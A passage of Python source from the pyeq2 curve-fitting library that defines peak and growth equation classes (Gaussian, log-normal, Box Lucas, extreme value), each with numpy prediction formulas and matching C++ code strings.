independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def __init__(self, inFittingTarget = 'SSQABS', inExtendedVersionName = 'Default'): pyeq2.Model_2D_BaseClass.Model_2D_BaseClass.__init__(self, inFittingTarget, inExtendedVersionName) self.lowerCoefficientBounds = [0.0, 0.0, 0.0, 0.0, 0.0] self.extendedVersionHandler.AppendAdditionalCoefficientBounds(self) def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once Gb = inCoeffs[0] mu = inCoeffs[1] B = inCoeffs[2] Vbmax = inCoeffs[3] sigma_b = inCoeffs[4] try: temp = Gb * numpy.power(x_in / mu, numpy.log(mu/x_in)/(B*B)) + (Vbmax * x_in) / (x_in + sigma_b) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = Gb * pow(x_in / mu, log(mu/x_in)/(B*B)) + (Vbmax * x_in) / (x_in + sigma_b);\n" return s class ArnoldCohenLogNormalShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Arnold Cohen Log-Normal Peak Shifted" _HTML = 'y = a * (exp(-0.5 * ((ln(x-f)-b)/c)<sup>2</sup>)) / (d * (x-g))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd', 'f', 'g'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] f = inCoeffs[4] g = inCoeffs[5] try: temp = (a * numpy.exp(-0.5 * numpy.square((numpy.log(x_in-f)-b) / c))) / (d * (x_in-g)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a * exp(-0.5 * pow((log(x_in-f)-b) / c, 2.0))) / (d * (x_in-g));\n" return s class ArnoldCohenTwoParameterLogNormalShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Arnold Cohen Two-Parameter Log-Normal Peak Shifted" _HTML = 'y = exp(-0.5 * ((ln(x-d)-b)/c)<sup>2</sup>) / (sqrt(2*pi) * c * (x-f))' _leftSideHTML = 'y' _coefficientDesignators = ['b', 'c', 'd', 'f'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = False autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False sqrt2pi = numpy.sqrt(2.0 * numpy.pi) def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once b = inCoeffs[0] c = inCoeffs[1] d = inCoeffs[2] f = inCoeffs[3] try: temp = numpy.exp(-0.5 * numpy.square((numpy.log(x_in-d)-b) / c)) / (self.sqrt2pi * c * (x_in-f)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = exp(-0.5 * pow((log(x_in-d)-b) / c, 2.0)) / (2.506628274631000502415765284811 * c * (x_in-f));\n" return s class BoxLucasA(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas A" _HTML = 'y = a * (1.0 - b<sup>x</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def __init__(self, inFittingTarget = 'SSQABS', inExtendedVersionName = 'Default'): pyeq2.Model_2D_BaseClass.Model_2D_BaseClass.__init__(self, inFittingTarget, inExtendedVersionName) self.lowerCoefficientBounds = [None, 0.0] self.extendedVersionHandler.AppendAdditionalCoefficientBounds(self) def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = a * (1.0 - numpy.power(b, x_in)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * (1.0 - pow(b, x_in));\n" return s class BoxLucasAShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas A Shifted" _HTML = 'y = a * (1.0 - b<sup>x-c</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * (1.0 - numpy.power(b, x_in - c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * (1.0 - pow(b, x_in - c));\n" return s class BoxLucasB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas B" _HTML = 'y = a * (1.0 - exp(-bx))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.NegX(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_NegX = inDataCacheDictionary['NegX'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = a * (1.0 - numpy.exp(b * x_NegX)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * (1.0 - exp(-1.0 * b * x_in));\n" return s class BoxLucasBShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas B Shifted" _HTML = 'y = a * (1.0 - exp(-b(x-c)))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * (1.0 - numpy.exp(-1.0 * b * (x_in - c))) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * (1.0 - exp(-1.0 * b * (x_in - c)));\n" return s class BoxLucasC(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas C" _HTML = 'y = (a / (a-b)) * (exp(-bx) - exp(-ax))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] try: temp = (a / (a-b)) * (numpy.exp(-1.0 * b *x_in) - numpy.exp(-1.0 * a * x_in)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a / (a-b)) * (exp(-1.0 * b *x_in) - exp(-1.0 * a * x_in));\n" return s class BoxLucasCShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Box Lucas C shifted" _HTML = 'y = (a / (a-b)) * (exp(-b(x-c)) - exp(-a(x-c)))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = (a / (a-b)) * (numpy.exp(-1.0 * b * (x_in-c)) - numpy.exp(-1.0 * a * (x_in-c))) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a / (a-b)) * (exp(-1.0 * b * (x_in-c)) - exp(-1.0 * a * (x_in-c)));\n" return s class ExtremeValuePeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Extreme Value Peak" _HTML = 'y = a * exp(-exp(-((x-b)/c))-((x-b)/c)+1.0)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-1.0 * numpy.exp(-1.0 * ((x_in-b)/c))-((x_in-b)/c) + 1.0) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-1.0 * exp(-1.0 * ((x_in-b)/c))-((x_in-b)/c) + 1.0);\n" return s class ExtremeValueArea(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Extreme Value Area" _HTML = 'y = (a/c) * exp(-exp(-((x-b)/c))-((x-b)/c))' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = (a/c) * numpy.exp(-1.0 * numpy.exp(-1.0 * ((x_in-b)/c))-((x_in-b)/c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a/c) * exp(-1.0 * exp(-1.0 * ((x_in-b)/c))-((x_in-b)/c));\n" return s class GaussianPeak(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Gaussian Peak" _HTML = 'y = a * exp(-0.5 * ((x-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-0.5 * numpy.square((x_in-b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((x_in-b) / c, 2.0));\n" return s class GaussianPeak_Modified(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Gaussian Peak Modified" _HTML = 'y = a * exp(-0.5 * ((x-b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.power((x_in-b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((x_in-b) / c, d));\n" return s class GaussianArea(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Gaussian Area" _HTML = 'y = (a / (pow(2*pi, 0.5) * c)) * exp(-0.5 * ((x-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = (a / (sqr_root_two_pi * c)) * numpy.exp(-0.5 * numpy.square((x_in-b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = (a / (pow(2.0 * 3.14159265358979323846, 0.5) * c)) * exp(-0.5 * pow((x_in-b) / c, 2.0));\n" return s class LogNormalA(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak A" _HTML = 'y = a * exp(-0.5 * ((ln(x)-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.LogX(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_LogX = inDataCacheDictionary['LogX'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-0.5 * numpy.square((x_LogX-b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((log(x_in)-b) / c, 2.0));\n" return s class LogNormalB(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak B" _HTML = 'y = a * exp(-0.5 * (ln(x/b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False independentData1CannotContainBothPositiveAndNegativeFlag = True def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] try: temp = a * numpy.exp(-0.5 * numpy.square(numpy.log(x_in/b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log(x_in/b) / c, 2.0));\n" return s class LogNormalAShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak A Shifted" _HTML = 'y = a * exp(-0.5 * ((ln(x-d)-b)/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.square((numpy.log(x_in-d)-b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((log(x_in-d)-b) / c, 2.0));\n" return s class LogNormalBShifted(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak B Shifted" _HTML = 'y = a * exp(-0.5 * (ln((x-d/b))/c)<sup>2</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = False independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = False independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.X(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_in = inDataCacheDictionary['X'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.square(numpy.log((x_in-d)/b) / c)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow(log((x_in-d)/b) / c, 2.0));\n" return s class LogNormalA_Modified(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak A Modified" _HTML = 'y = a * exp(-0.5 * ((ln(x)-b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' baseEquationHasGlobalMultiplierOrDivisor_UsedInExtendedVersions = True autoGenerateOffsetForm = True autoGenerateReciprocalForm = True autoGenerateInverseForms = True autoGenerateGrowthAndDecayForms = True independentData1CannotContainZeroFlag = True independentData1CannotContainPositiveFlag = False independentData1CannotContainNegativeFlag = True independentData2CannotContainZeroFlag = False independentData2CannotContainPositiveFlag = False independentData2CannotContainNegativeFlag = False def GetDataCacheFunctions(self): functionList = [] functionList.append([pyeq2.DataCache.DataCacheFunctions.LogX(NameOrValueFlag=1), []]) return self.extendedVersionHandler.GetAdditionalDataCacheFunctions(self, functionList) def CalculateModelPredictions(self, inCoeffs, inDataCacheDictionary): x_LogX = inDataCacheDictionary['LogX'] # only need to perform this dictionary look-up once a = inCoeffs[0] b = inCoeffs[1] c = inCoeffs[2] d = inCoeffs[3] try: temp = a * numpy.exp(-0.5 * numpy.power((x_LogX-b) / c, d)) return self.extendedVersionHandler.GetAdditionalModelPredictions(temp, inCoeffs, inDataCacheDictionary, self) except: return numpy.ones(len(inDataCacheDictionary['DependentData'])) * 1.0E300 def SpecificCodeCPP(self): s = "\ttemp = a * exp(-0.5 * pow((log(x_in)-b) / c, d));\n" return s class LogNormalB_Modified(pyeq2.Model_2D_BaseClass.Model_2D_BaseClass): _baseName = "Log-Normal Peak B Modified" _HTML = 'y = a * exp(-0.5 * (ln(x/b)/c)<sup>d</sup>)' _leftSideHTML = 'y' _coefficientDesignators = ['a', 'b', 'c', 'd'] _canLinearSolverBeUsedForSSQABS = False webReferenceURL = '' 